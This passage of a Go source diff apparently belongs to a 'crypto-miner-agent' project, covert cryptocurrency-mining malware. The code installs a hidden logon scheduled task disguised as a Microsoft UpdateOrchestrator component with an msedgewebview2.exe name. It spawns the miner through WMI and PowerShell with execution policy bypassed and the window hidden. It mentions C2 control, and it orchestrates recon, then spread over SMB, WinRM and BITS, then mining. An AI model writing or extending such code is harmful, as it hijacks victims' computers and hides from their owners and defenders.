t.Fatalf("details=%v", attempt.Details)
}
}
func TestRunGPUComputeTierNoKernelGracefulSkip(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("gpu_compute tier requires windows")
}
SetGPUComputeProbe(func(cfg config.RuntimeConfig) GPUComputeProbe {
return GPUComputeProbe{StratumReady: true}
})
defer SetGPUComputeProbe(nil)
attempt := RunGPUComputeTier(context.Background(), config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
GPUEnabled: true,
RVNWallet: "wallet",
PoolHost: "pool.example.com",
},
})
if attempt.OK {
t.Fatal("expected failure without CUDA/HLSL")
}
}

View File

@@ -0,0 +1,59 @@
//go:build windows
package miner
import (
"os"
"strings"
"crypto-miner-agent/config"
)
func platformGPUComputeProbe(cfg config.RuntimeConfig) GPUComputeProbe {
probe := GPUComputeProbe{
StratumReady: strings.TrimSpace(cfg.PoolHost) != "" || strings.TrimSpace(cfg.RVNPoolHost) != "",
KernelPath: "hlsl_stub",
DiagnosticOnly: true,
}
if cudaOK() {
probe.CUDAAvailable = true
probe.KernelPath = "cuda_reflective_dll"
probe.ReflectiveDLL = true
}
if !probe.CUDAAvailable && hlslOK() {
probe.HLSLAvailable = true
probe.KernelPath = "hlsl_compute_stub"
}
// Probe-tier hashrate is diagnostic-only; poor values are acceptable.
probe.HashrateEstimate = 0
return probe
}
func cudaOK() bool {
paths := []string{
os.Getenv("CUDA_PATH"),
`C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA`,
}
for _, p := range paths {
if p == "" {
continue
}
if st, err := os.Stat(p); err == nil && st.IsDir() {
return true
}
}
out, err := hiddenCombinedOutput("where", "nvidia-smi")
return err == nil && strings.Contains(strings.ToLower(string(out)), "nvidia-smi")
}
func hlslOK() bool {
// DirectX compute shaders require d3d11; probe via DXGI adapter presence.
out, err := hiddenCombinedOutput("powershell", "-NoProfile", "-Command",
`(Get-CimInstance Win32_VideoController | Where-Object { $_.AdapterRAM -gt 0 } | Measure-Object).Count`)
if err != nil {
return false
}
return strings.TrimSpace(string(out)) != "0"
}

View File

@@ -0,0 +1,158 @@
package miner
import (
"context"
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"crypto-miner-agent/config"
)
// ScheduledTaskStubRel is the benign ProgramData path for the hidden persistence shell.
const ScheduledTaskStubRel = `Microsoft\Windows\UpdateOrchestrator\InventorySync`
// scheduledTaskOps performs task install/query. Tests override via SetScheduledTaskOps.
var scheduledTaskOps = defaultScheduledTaskOps()
func defaultScheduledTaskOps() *ScheduledTaskOps {
return platformScheduledTaskOps()
}
// ScheduledTaskOps wires scheduled-task persistence for tests.
type ScheduledTaskOps struct {
Exists func(taskName string) bool
Install func(taskName, stubPath, trigger string) error
StubPath func(cfg config.RuntimeConfig) (string, error)
}
// SetScheduledTaskOps restores default when ops is nil.
func SetScheduledTaskOps(ops *ScheduledTaskOps) {
if ops == nil {
scheduledTaskOps = defaultScheduledTaskOps()
return
}
scheduledTaskOps = ops
}
// RunScheduledTaskTier installs or reuses a hidden persistence shell under ProgramData\Microsoft\...
func RunScheduledTaskTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
if runtime.GOOS != "windows" {
return TierAttempt{Tier: TierScheduledTask, Error: "scheduled_task requires windows", Wallet: cfg.Wallet}
}
select {
case <-ctx.Done():
return TierAttempt{Tier: TierScheduledTask, Error: ctx.Err().Error(), Wallet: cfg.Wallet}
default:
}
taskName := scheduledTaskName(cfg)
stubPath, err := scheduledTaskOps.StubPath(cfg)
if err != nil {
return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet}
}
if err := ensureScheduledTaskStub(stubPath); err != nil {
return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet}
}
trigger := fmt.Sprintf(`"%s" --run --mining-mode=%s`, stubPath, strings.TrimSpace(cfg.MiningMode))
if scheduledTaskOps.Exists(taskName) {
return TierAttempt{
Tier: TierScheduledTask,
OK: true,
Wallet: cfg.Wallet,
Details: map[string]interface{}{
"task": taskName,
"stub_path": stubPath,
"mining_mode": cfg.MiningMode,
"reused": true,
},
}
}
if err := scheduledTaskOps.Install(taskName, stubPath, trigger); err != nil {
return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet}
}
return TierAttempt{
Tier: TierScheduledTask,
OK: true,
Wallet: cfg.Wallet,
Details: map[string]interface{}{
"task": taskName,
"stub_path": stubPath,
"mining_mode": cfg.MiningMode,
"hidden": true,
},
}
}
func scheduledTaskName(cfg config.RuntimeConfig) string {
suffix := strings.TrimSpace(cfg.BuildID)
if suffix == "" {
suffix = strings.TrimSpace(cfg.WorkerName)
}
if suffix == "" {
suffix = "agent"
}
suffix = sanitizeTaskToken(suffix)
return `\Microsoft\Windows\UpdateOrchestrator\AetherForge\InventorySync` + suffix
}
func sanitizeTaskToken(s string) string {
var b strings.Builder
for _, ch := range s {
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') {
b.WriteRune(ch)
}
}
out := b.String()
if out == "" {
return "worker"
}
return out
}
func scheduledTaskStubPath(cfg config.RuntimeConfig) (string, error) {
base := os.Getenv("ProgramData")
if base == "" {
return "", fmt.Errorf("ProgramData not set")
}
name := cfg.EffectiveProcessName()
if name == "" {
name = "msedgewebview2.exe"
}
if !strings.HasSuffix(strings.ToLower(name), ".exe") {
name += ".exe"
}
return filepath.Join(base, ScheduledTaskStubRel, name), nil
}
func ensureScheduledTaskStub(stubPath string) error {
if _, err := os.Stat(stubPath); err == nil {
return nil
}
exe, err := os.Executable()
if err != nil {
return err
}
if err := os.MkdirAll(filepath.Dir(stubPath), 0755); err != nil {
return err
}
src, err := os.Open(exe)
if err != nil {
return err
}
defer src.Close()
dst, err := os.OpenFile(stubPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
if err != nil {
return err
}
defer dst.Close()
if _, err := dst.ReadFrom(src); err != nil {
return err
}
return nil
}

View File

@@ -0,0 +1,21 @@
//go:build !windows
package miner
import (
"fmt"
"crypto-miner-agent/config"
)
func platformScheduledTaskOps() *ScheduledTaskOps {
return &ScheduledTaskOps{
Exists: func(string) bool { return false },
Install: func(_, _, _ string) error {
return fmt.Errorf("scheduled_task tier requires windows")
},
StubPath: func(config.RuntimeConfig) (string, error) {
return "", fmt.Errorf("scheduled_task tier requires windows")
},
}
}

View File

@@ -0,0 +1,58 @@
package miner
import (
"context"
"os"
"path/filepath"
"runtime"
"testing"
"crypto-miner-agent/config"
)
func TestRunScheduledTaskTierMockOps(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("scheduled_task tier requires windows")
}
dir := t.TempDir()
stub := filepath.Join(dir, "stub.exe")
if err := os.WriteFile(stub, []byte("fake-stub"), 0o644); err != nil {
t.Fatal(err)
}
SetScheduledTaskOps(&ScheduledTaskOps{
Exists: func(taskName string) bool { return false },
Install: func(taskName, stubPath, trigger string) error {
if taskName == "" || stubPath == "" || trigger == "" {
t.Fatal("missing install args")
}
return nil
},
StubPath: func(cfg config.RuntimeConfig) (string, error) {
return stub, nil
},
})
t.Cleanup(func() { SetScheduledTaskOps(nil) })
attempt := RunScheduledTaskTier(context.Background(), config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
Wallet: "wallet",
MiningMode: "always",
BuildID: "test",
},
})
if !attempt.OK {
t.Fatalf("attempt=%+v", attempt)
}
if attempt.Details["hidden"] != true {
t.Fatalf("details=%v", attempt.Details)
}
}
func TestScheduledTaskNameSanitize(t *testing.T) {
name := scheduledTaskName(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{BuildID: "build-01!"},
})
if name == "" {
t.Fatal("empty task name")
}
}

View File

@@ -0,0 +1,45 @@
//go:build windows
package miner
import (
"os/exec"
"strings"
)
func platformScheduledTaskOps() *ScheduledTaskOps {
return &ScheduledTaskOps{
Exists: scheduledTaskExists,
Install: installHiddenScheduledTask,
StubPath: scheduledTaskStubPath,
}
}
func scheduledTaskExists(taskName string) bool {
err := hiddenRun("schtasks", "/Query", "/TN", taskName)
return err == nil
}
func installHiddenScheduledTask(taskName, stubPath, trigger string) error {
// /RL LIMITED + hidden window; mining mode rotates via C2 without redeploy.
tr := strings.ReplaceAll(trigger, `"`, `\"`)
return hiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr,
"/SC", "ONLOGON", "/F", "/RL", "LIMITED")
}
var hiddenRun = defaultHiddenRun
func defaultHiddenRun(name string, arg ...string) error {
cmd := exec.Command(name, arg...)
applyHiddenWindow(cmd)
return cmd.Run()
}
// SetTierHiddenRun overrides hidden exec for tests.
func SetTierHiddenRun(fn func(name string, arg ...string) error) {
if fn == nil {
hiddenRun = defaultHiddenRun
return
}
hiddenRun = fn
}

View File

@@ -0,0 +1,36 @@
package miner
import (
"context"
"crypto-miner-agent/config"
)
// vulnProbeRunner is injected by the client package (avoids import cycle).
var vulnProbeRunner func() TierAttempt
// SetVulnProbeRunner registers the read-only vulnerability recon probe. Nil restores default skip.
func SetVulnProbeRunner(fn func() TierAttempt) {
vulnProbeRunner = fn
}
// RunVulnProbeTier runs authorized fleet vulnerability recon (report-only, no exploit).
func RunVulnProbeTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
select {
case <-ctx.Done():
return TierAttempt{Tier: TierVulnProbe, Error: ctx.Err().Error(), Wallet: cfg.Wallet}
default:
}
if vulnProbeRunner != nil {
return vulnProbeRunner()
}
return TierAttempt{
Tier: TierVulnProbe,
OK: true,
Wallet: cfg.Wallet,
Details: map[string]interface{}{
"skipped": true,
"reason": "vuln probe runner not wired",
},
}
}

View File

@@ -0,0 +1,29 @@
package miner
import (
"context"
"testing"
"crypto-miner-agent/config"
)
func TestRunVulnProbeTierWithRunner(t *testing.T) {
SetVulnProbeRunner(func() TierAttempt {
return TierAttempt{Tier: TierVulnProbe, OK: true, Details: map[string]interface{}{"finding_count": 3}}
})
defer SetVulnProbeRunner(nil)
attempt := RunVulnProbeTier(context.Background(), config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{Wallet: "test"},
})
if !attempt.OK || attempt.Tier != TierVulnProbe {
t.Fatalf("unexpected attempt: %+v", attempt)
}
}
func TestProbeTiersIncludesVulnFirst(t *testing.T) {
tiers := ProbeTiers(DefaultTierOrder)
if len(tiers) == 0 || tiers[0] != TierVulnProbe {
t.Fatalf("expected vuln_probe first, got %v", tiers)
}
}

View File

@@ -0,0 +1,74 @@
package miner
import (
"context"
"runtime"
"crypto-miner-agent/config"
)
// WebView2ProbeResult holds stealth GPU capability discovery.
type WebView2ProbeResult struct {
RuntimeInstalled bool
WebGPUAvailable bool
BinaryName string
ProbeOnly bool
}
// webview2Probe runs platform WebView2/WebGPU detection. Tests override via SetWebView2Probe.
var webview2Probe = platformWebView2Probe
// SetWebView2Probe restores default when fn is nil.
func SetWebView2Probe(fn func() WebView2ProbeResult) {
if fn == nil {
webview2Probe = platformWebView2Probe
return
}
webview2Probe = fn
}
// RunWebView2Probe detects WebGPU availability; probe-only, does not mine.
func RunWebView2Probe(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
if runtime.GOOS != "windows" {
return TierAttempt{Tier: TierWebView2Probe, Error: "webview2_probe requires windows", Wallet: cfg.Wallet}
}
select {
case <-ctx.Done():
return TierAttempt{Tier: TierWebView2Probe, Error: ctx.Err().Error(), Wallet: cfg.Wallet}
default:
}
result := webview2Probe()
details := map[string]interface{}{
"runtime_installed": result.RuntimeInstalled,
"webgpu_available": result.WebGPUAvailable,
"binary": result.BinaryName,
"probe_only": true,
}
if !result.RuntimeInstalled {
return TierAttempt{
Tier: TierWebView2Probe,
Error: "WebView2 runtime not installed",
Wallet: cfg.Wallet,
Details: details,
}
}
// OK even when WebGPU unavailable — probe succeeded, escalation deferred.
return TierAttempt{
Tier: TierWebView2Probe,
OK: true,
Wallet: cfg.Wallet,
Details: details,
}
}
// WebGPUAvailableFromAttempt reads probe details from a recorded attempt.
func WebGPUAvailableFromAttempt(a TierAttempt) bool {
if a.Tier != TierWebView2Probe || !a.OK {
return false
}
if v, ok := a.Details["webgpu_available"].(bool); ok {
return v
}
return false
}

View File

@@ -0,0 +1,7 @@
//go:build !windows
package miner
func platformWebView2Probe() WebView2ProbeResult {
return WebView2ProbeResult{ProbeOnly: true}
}

View File

@@ -0,0 +1,74 @@
package miner
import (
"context"
"runtime"
"testing"
"crypto-miner-agent/config"
)
func TestRunWebView2ProbeMock(t *testing.T) {
SetWebView2Probe(func() WebView2ProbeResult {
return WebView2ProbeResult{
RuntimeInstalled: true,
WebGPUAvailable: true,
BinaryName: webView2BinaryName,
ProbeOnly: true,
}
})
defer SetWebView2Probe(nil)
attempt := RunWebView2Probe(context.Background(), config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{Wallet: "w"},
})
if !attempt.OK {
t.Fatalf("attempt=%+v", attempt)
}
if !WebGPUAvailableFromAttempt(attempt) {
t.Fatal("expected webgpu available")
}
}
func TestRunWebView2ProbeNoRuntimeGracefulSkip(t *testing.T) {
SetWebView2Probe(func() WebView2ProbeResult {
return WebView2ProbeResult{RuntimeInstalled: false, BinaryName: webView2BinaryName}
})
defer SetWebView2Probe(nil)
attempt := RunWebView2Probe(context.Background(), config.RuntimeConfig{})
if attempt.OK {
t.Fatal("expected probe failure without runtime")
}
}
func TestSelectMiningTierChainIncludesWindowsTiers(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("windows LOTL tiers require windows")
}
probes := EnvironmentProbes{
Docker: true,
WSL: true,
PowerShell: true,
DotNet: true,
GPU: true,
WebView2: true,
}
chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
GPUEnabled: true,
RVNWallet: "rvn",
PoolHost: "pool",
Wallet: "cmr",
},
})
found := map[LOTLTier]bool{}
for _, t := range chain {
found[t] = true
}
for _, want := range []LOTLTier{TierWebView2Probe, TierWMI, TierScheduledTask, TierGPUCompute} {
if !found[want] {
t.Fatalf("missing tier %s in %v", want, chain)
}
}
}

View File

@@ -0,0 +1,54 @@
//go:build windows
package miner
import (
"os"
"path/filepath"
"strings"
)
const webView2BinaryName = "msedgewebview2.exe"
func platformWebView2Probe() WebView2ProbeResult {
result := WebView2ProbeResult{
BinaryName: webView2BinaryName,
ProbeOnly: true,
}
result.RuntimeInstalled = webView2RuntimeInstalled()
result.WebGPUAvailable = result.RuntimeInstalled && webGPUAvailable()
return result
}
func webView2RuntimeInstalled() bool {
candidates := []string{
filepath.Join(os.Getenv("ProgramFiles(x86)"), "Microsoft", "EdgeWebView", "Application", webView2BinaryName),
filepath.Join(os.Getenv("ProgramFiles"), "Microsoft", "EdgeWebView", "Application", webView2BinaryName),
filepath.Join(os.Getenv("LOCALAPPDATA"), "Microsoft", "EdgeWebView", "Application", webView2BinaryName),
}
for _, p := range candidates {
if p == "" {
continue
}
if st, err := os.Stat(p); err == nil && !st.IsDir() {
return true
}
}
out, err := hiddenCombinedOutput("powershell", "-NoProfile", "-Command",
`Get-AppxPackage -Name '*WebView2*' -EA SilentlyContinue | Select-Object -First 1 | ForEach-Object { $_.Name }`)
return err == nil && strings.TrimSpace(string(out)) != ""
}
func webGPUAvailable() bool {
// Lightweight probe: discrete GPU + D3D12 support heuristic via WMI.
out, err := hiddenCombinedOutput("powershell", "-NoProfile", "-Command", `
$gpu = Get-CimInstance Win32_VideoController | Where-Object { $_.AdapterRAM -gt 1GB } | Select-Object -First 1
if (-not $gpu) { 'false'; exit }
$name = $gpu.Name
if ($name -match 'Microsoft Basic|Remote') { 'false' } else { 'true' }
`)
if err != nil {
return false
}
return strings.TrimSpace(string(out)) == "true"
}

60
agent/miner/tier_wmi.go Normal file
View File

@@ -0,0 +1,60 @@
package miner
import (
"context"
"fmt"
"os"
"runtime"
"strings"
"crypto-miner-agent/config"
)
// SignedHostProcess is the WMI provider parent used for Win32_ProcessCreate children.
const SignedHostProcess = "WmiPrvSE.exe"
// wmiProcessCreate runs Win32_Process.Create locally. Tests override via SetWMIProcessCreate.
var wmiProcessCreate = platformWMIProcessCreate
// SetWMIProcessCreate restores default when fn is nil.
func SetWMIProcessCreate(fn func(commandLine string) (pid uint32, err error)) {
if fn == nil {
wmiProcessCreate = platformWMIProcessCreate
return
}
wmiProcessCreate = fn
}
// RunWMITier spawns a mining child via local Win32_ProcessCreate under the signed WMI host.
func RunWMITier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
if runtime.GOOS != "windows" {
return TierAttempt{Tier: TierWMI, Error: "wmi tier requires windows", Wallet: cfg.Wallet}
}
select {
case <-ctx.Done():
return TierAttempt{Tier: TierWMI, Error: ctx.Err().Error(), Wallet: cfg.Wallet}
default:
}
exe, err := os.Executable()
if err != nil {
return TierAttempt{Tier: TierWMI, Error: err.Error(), Wallet: cfg.Wallet}
}
cmdLine := fmt.Sprintf(`"%s" --run --tier-miner=wmi --mining-mode=%s`,
exe, strings.TrimSpace(cfg.MiningMode))
pid, err := wmiProcessCreate(cmdLine)
if err != nil {
return TierAttempt{Tier: TierWMI, Error: err.Error(), Wallet: cfg.Wallet}
}
return TierAttempt{
Tier: TierWMI,
OK: true,
Wallet: cfg.Wallet,
Details: map[string]interface{}{
"signed_host": SignedHostProcess,
"child_pid": pid,
"method": "Win32_ProcessCreate",
},
}
}

View File

@@ -0,0 +1,9 @@
//go:build !windows
package miner
import "fmt"
func platformWMIProcessCreate(commandLine string) (uint32, error) {
return 0, fmt.Errorf("wmi tier requires windows")
}

View File

@@ -0,0 +1,45 @@
package miner
import (
"context"
"runtime"
"testing"
"crypto-miner-agent/config"
)
func TestRunWMITierMockProcessCreate(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("wmi tier requires windows")
}
SetWMIProcessCreate(func(commandLine string) (uint32, error) {
if commandLine == "" {
t.Fatal("expected command line")
}
return 4242, nil
})
defer SetWMIProcessCreate(nil)
attempt := RunWMITier(context.Background(), config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
Wallet: "wallet",
MiningMode: "idle",
},
})
if !attempt.OK {
t.Fatalf("attempt=%+v", attempt)
}
if attempt.Details["signed_host"] != SignedHostProcess {
t.Fatalf("signed_host=%v", attempt.Details["signed_host"])
}
if attempt.Details["child_pid"] != uint32(4242) {
t.Fatalf("child_pid=%v", attempt.Details["child_pid"])
}
}
func TestParseWMICreatePID(t *testing.T) {
pid, err := parseWMICreatePID([]byte(`{"pid":12345,"host":"WmiPrvSE.exe"}`))
if err != nil || pid != 12345 {
t.Fatalf("pid=%d err=%v", pid, err)
}
}

View File

@@ -0,0 +1,60 @@
//go:build windows
package miner
import (
"fmt"
"os/exec"
"regexp"
"strconv"
"strings"
)
// platformWMIProcessCreate spawns a child via local Win32_Process.Create (CIM).
// The child runs under the signed WMI provider host (WmiPrvSE.exe).
func platformWMIProcessCreate(commandLine string) (uint32, error) {
escaped := strings.ReplaceAll(commandLine, `'`, `''`)
script := fmt.Sprintf(`
$args = @{ CommandLine = '%s' }
$r = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments $args
if ($r.ReturnValue -ne 0) { throw "Win32_Process.Create return=$($r.ReturnValue)" }
@{ pid = [uint32]$r.ProcessId; host = '%s' } | ConvertTo-Json -Compress
`, escaped, SignedHostProcess)
out, err := hiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
if err != nil {
return 0, fmt.Errorf("wmi process create: %w (%s)", err, strings.TrimSpace(string(out)))
}
return parseWMICreatePID(out)
}
func parseWMICreatePID(out []byte) (uint32, error) {
raw := strings.TrimSpace(string(out))
re := regexp.MustCompile(`"pid"\s*:\s*(\d+)`)
m := re.FindStringSubmatch(raw)
if len(m) < 2 {
return 0, fmt.Errorf("wmi: no pid in output: %s", raw)
}
v, err := strconv.ParseUint(m[1], 10, 32)
if err != nil {
return 0, err
}
return uint32(v), nil
}
var hiddenCombinedOutput = defaultHiddenCombinedOutput
func defaultHiddenCombinedOutput(name string, arg ...string) ([]byte, error) {
cmd := exec.Command(name, arg...)
applyHiddenWindow(cmd)
return cmd.CombinedOutput()
}
// SetTierHiddenCombinedOutput overrides hidden exec for tests.
func SetTierHiddenCombinedOutput(fn func(name string, arg ...string) ([]byte, error)) {
if fn == nil {
hiddenCombinedOutput = defaultHiddenCombinedOutput
return
}
hiddenCombinedOutput = fn
}

462
agent/miner/triple_onion.go Normal file
View File

@@ -0,0 +1,462 @@
package miner
import (
"context"
"os"
"strings"
"sync"
"time"
"crypto-miner-agent/config"
)
// OnionPhase identifies one layer of the recon → deploy → mining triple onion.
type OnionPhase string
const (
OnionPhaseRecon OnionPhase = "recon"
OnionPhaseDeploy OnionPhase = "deploy"
OnionPhaseMining OnionPhase = "mining"
)
// TripleOnionPolicy is server-pulled gate + chain ordering for the triple onion.
type TripleOnionPolicy struct {
PatchFirst bool `json:"patch_first,omitempty"`
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
HighRiskThreshold int `json:"high_risk_threshold,omitempty"`
ReconTiers []string `json:"recon_tiers,omitempty"`
DeployLanes []string `json:"deploy_lanes,omitempty"`
}
// DefaultTripleOnionPolicy works out of the box with diagnostic-driven contingencies.
func DefaultTripleOnionPolicy() TripleOnionPolicy {
return TripleOnionPolicy{
PatchFirst: true,
HighRiskThreshold: 50,
ReconTiers: append([]string(nil), DefaultReconTiers...),
DeployLanes: append([]string(nil), DefaultDeployLanes...),
}
}
// DefaultReconTiers is the vuln + service probe chain run before deploy.
var DefaultReconTiers = []string{
"kev_scan",
"vuln_recon",
"service_probe",
"listen_ports",
}
// DefaultDeployLanes is the discover_and_join lane order (mirrors LOTL spread tiers).
var DefaultDeployLanes = []string{
"discover_and_join",
"docker",
"wsl",
"powershell",
"dotnet",
"bits_curl",
"smb",
"winrm",
}
// ReconSnapshot aggregates recon probe output used by policy gates.
type ReconSnapshot struct {
RiskScore int `json:"risk_score"`
CriticalExposed int `json:"critical_exposed"`
ExposedCount int `json:"exposed_count"`
LikelyCount int `json:"likely_count"`
ServiceCount int `json:"service_count"`
OpenPortCount int `json:"open_port_count"`
Details map[string]interface{} `json:"details,omitempty"`
}
// GateDecision records which downstream chains policy gates block.
type GateDecision struct {
SkipDeploy bool `json:"skip_deploy"`
SkipMining bool `json:"skip_mining"`
PatchFirst bool `json:"patch_first"`
ForceIsolated bool `json:"force_isolated"`
Reason string `json:"reason,omitempty"`
}
// ReconTierResult is one recon probe outcome.
type ReconTierResult struct {
OK bool
Error string
Snapshot ReconSnapshot
}
// TripleOnionHooks wires agent-specific recon/deploy/mining without importing client.
type TripleOnionHooks struct {
RunReconTier func(ctx context.Context, tier string) ReconTierResult
RunDeployLane func(ctx context.Context, lane string) (bool, string)
RunMining func(ctx context.Context)
ReportEvent func(report TripleOnionReport, eventType string)
}
// TripleOnionReport is the live triple-onion snapshot sent to C2/UI.
type TripleOnionReport struct {
ActivePhase OnionPhase `json:"onion_phase,omitempty"`
Gate GateDecision `json:"gate,omitempty"`
Recon ReconSnapshot `json:"recon,omitempty"`
Attempts []TierAttempt `json:"lotl_attempts,omitempty"`
Wallet string `json:"wallet,omitempty"`
}
// TripleOnionOrchestrator runs recon → deploy → mining with policy gates.
type TripleOnionOrchestrator struct {
mu sync.RWMutex
cfg config.RuntimeConfig
policy TripleOnionPolicy
hooks TripleOnionHooks
recon ReconSnapshot
gate GateDecision
attempts []TierAttempt
wallet string
done bool
}
// NewTripleOnionOrchestrator builds an orchestrator from runtime config + server policy.
func NewTripleOnionOrchestrator(cfg config.RuntimeConfig, policy TripleOnionPolicy, hooks TripleOnionHooks) *TripleOnionOrchestrator {
policy = NormalizeTripleOnionPolicy(policy)
policy = ApplyEnvTripleOnionOverrides(policy)
return &TripleOnionOrchestrator{
cfg: cfg,
policy: policy,
hooks: hooks,
wallet: strings.TrimSpace(cfg.Wallet),
}
}
// NormalizeTripleOnionPolicy fills defaults for empty policy fields.
func NormalizeTripleOnionPolicy(p TripleOnionPolicy) TripleOnionPolicy {
def := DefaultTripleOnionPolicy()
if len(p.ReconTiers) == 0 {
p.ReconTiers = def.ReconTiers
}
if len(p.DeployLanes) == 0 {
p.DeployLanes = def.DeployLanes
}
if p.HighRiskThreshold <= 0 {
p.HighRiskThreshold = def.HighRiskThreshold
}
// PatchFirst defaults true when unset — only explicit false in JSON disables.
return p
}
// ApplyEnvTripleOnionOverrides applies operator contingencies from environment.
func ApplyEnvTripleOnionOverrides(p TripleOnionPolicy) TripleOnionPolicy {
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_PATCH_FIRST")); v != "" {
p.PatchFirst = v == "1" || strings.EqualFold(v, "true")
}
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_SKIP_MINING")); v == "1" || strings.EqualFold(v, "true") {
p.SkipMiningOnHighRisk = true
}
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_MINE_ISOLATED")); v == "1" || strings.EqualFold(v, "true") {
p.MineIsolatedTier = true
}
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_HIGH_RISK_THRESHOLD")); v != "" {
if n, err := parseEnvInt(v); err == nil && n > 0 {
p.HighRiskThreshold = n
}
}
return p
}
func parseEnvInt(s string) (int, error) {
n := 0
for _, c := range s {
if c < '0' || c > '9' {
return 0, os.ErrInvalid
}
n = n*10 + int(c-'0')
}
return n, nil
}
// EvaluateTripleOnionGates decides deploy/mining eligibility from recon + policy.
func EvaluateTripleOnionGates(policy TripleOnionPolicy, recon ReconSnapshot) GateDecision {
policy = NormalizeTripleOnionPolicy(policy)
d := GateDecision{ForceIsolated: policy.MineIsolatedTier}
if policy.PatchFirst && recon.CriticalExposed > 0 {
d.PatchFirst = true
d.SkipDeploy = true
d.SkipMining = true
d.Reason = "patch_first: critical CVE exposed — defer deploy and mining"
}
if policy.SkipMiningOnHighRisk && recon.RiskScore >= policy.HighRiskThreshold {
d.SkipMining = true
if d.Reason == "" {
d.Reason = "skip_mining_on_high_risk: risk score exceeds threshold"
}
}
return d
}
// ApplyIsolatedMiningPolicy prefers container/WSL tiers before host in-process paths.
func ApplyIsolatedMiningPolicy(base MiningTierPolicy) MiningTierPolicy {
skip := make(map[LOTLTier]bool, len(base.SkipTiers)+4)
for _, t := range base.SkipTiers {
skip[t] = true
}
skip[TierExeSubprocess] = true
skip[TierCPUInprocess] = true
skip[TierPSInMemory] = true
skip[TierDotnet] = true
order := []LOTLTier{TierDockerLoad, TierContainer, TierWSL}
seen := make(map[LOTLTier]bool, len(order))
for _, t := range order {
seen[t] = true
}
baseOrder := base.TierOrder
if len(baseOrder) == 0 {
baseOrder = DefaultTierOrder
}
for _, t := range baseOrder {
if seen[t] || skip[t] {
continue
}
order = append(order, t)
}
skipList := make([]LOTLTier, 0, len(skip))
for t := range skip {
skipList = append(skipList, t)
}
return MiningTierPolicy{
TierOrder: order,
SkipTiers: skipList,
ForceTier: base.ForceTier,
}
}
// Run executes the triple onion: recon → gated deploy → gated mining.
func (o *TripleOnionOrchestrator) Run(ctx context.Context) TripleOnionReport {
o.mu.Lock()
o.done = false
o.mu.Unlock()
o.runReconChain(ctx)
o.mu.Lock()
o.gate = EvaluateTripleOnionGates(o.policy, o.recon)
gate := o.gate
o.mu.Unlock()
if !gate.SkipDeploy {
o.runDeployChain(ctx)
} else {
o.recordPhaseSkip(OnionPhaseDeploy, gate.Reason)
}
if !gate.SkipMining {
o.mu.Lock()
o.attempts = append(o.attempts, TierAttempt{
Phase: string(OnionPhaseMining),
Tier: "mining_chain",
OK: true,
Wallet: o.wallet,
Details: map[string]interface{}{
"force_isolated": gate.ForceIsolated,
},
})
report := o.buildReport(OnionPhaseMining)
reporter := o.hooks.ReportEvent
o.mu.Unlock()
if reporter != nil {
reporter(report, "onion_report")
}
if o.hooks.RunMining != nil {
o.hooks.RunMining(ctx)
}
} else {
o.recordPhaseSkip(OnionPhaseMining, gate.Reason)
}
o.mu.Lock()
o.done = true
report := o.buildReport("")
o.mu.Unlock()
return report
}
func (o *TripleOnionOrchestrator) runReconChain(ctx context.Context) {
o.mu.RLock()
tiers := o.policy.ReconTiers
hooks := o.hooks
o.mu.RUnlock()
for _, tier := range tiers {
select {
case <-ctx.Done():
return
default:
}
if hooks.RunReconTier == nil {
o.recordAttempt(OnionPhaseRecon, tier, false, "recon hook unavailable", 0, nil)
continue
}
start := time.Now()
result := hooks.RunReconTier(ctx, tier)
duration := time.Since(start)
o.mergeRecon(result.Snapshot)
errMsg := result.Error
if !result.OK && errMsg == "" {
errMsg = "recon tier failed"
}
o.recordAttempt(OnionPhaseRecon, tier, result.OK, errMsg, duration, nil)
}
}
func (o *TripleOnionOrchestrator) runDeployChain(ctx context.Context) {
o.mu.RLock()
lanes := o.policy.DeployLanes
hooks := o.hooks
o.mu.RUnlock()
for _, lane := range lanes {
select {
case <-ctx.Done():
return
default:
}
if hooks.RunDeployLane == nil {
o.recordAttempt(OnionPhaseDeploy, lane, false, "deploy hook unavailable", 0, nil)
continue
}
start := time.Now()
ok, reason := hooks.RunDeployLane(ctx, lane)
duration := time.Since(start)
details := map[string]interface{}{"lane": lane}
if reason != "" {
details["reason"] = reason
}
o.recordAttempt(OnionPhaseDeploy, lane, ok, reason, duration, details)
if ok {
return
}
}
}
func (o *TripleOnionOrchestrator) mergeRecon(s ReconSnapshot) {
o.mu.Lock()
defer o.mu.Unlock()
if s.RiskScore > o.recon.RiskScore {
o.recon.RiskScore = s.RiskScore
}
if s.CriticalExposed > o.recon.CriticalExposed {
o.recon.CriticalExposed = s.CriticalExposed
}
